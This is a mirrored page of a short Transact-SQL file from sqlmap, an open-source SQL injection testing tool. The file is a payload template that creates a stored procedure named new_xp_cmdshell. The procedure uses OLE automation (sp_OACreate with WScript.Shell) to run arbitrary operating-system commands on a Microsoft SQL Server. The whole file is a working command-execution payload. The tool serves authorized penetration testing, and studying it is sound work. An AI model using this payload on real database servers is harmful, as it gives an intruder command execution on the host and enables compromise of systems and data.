mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-10-25 05:01:32 +03:00 
			
		
		
		
	
		
			
				
	
	
		
			4 lines
		
	
	
		
			269 B
		
	
	
	
		
			Transact-SQL
		
	
	
	
	
	
			
		
		
	
	
			4 lines
		
	
	
		
			269 B
		
	
	
	
		
			Transact-SQL
		
	
	
	
	
	
| DECLARE @%RANDSTR% nvarchar(999);
 | |
| set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
 | |
| EXEC master..sp_executesql @%RANDSTR%
 |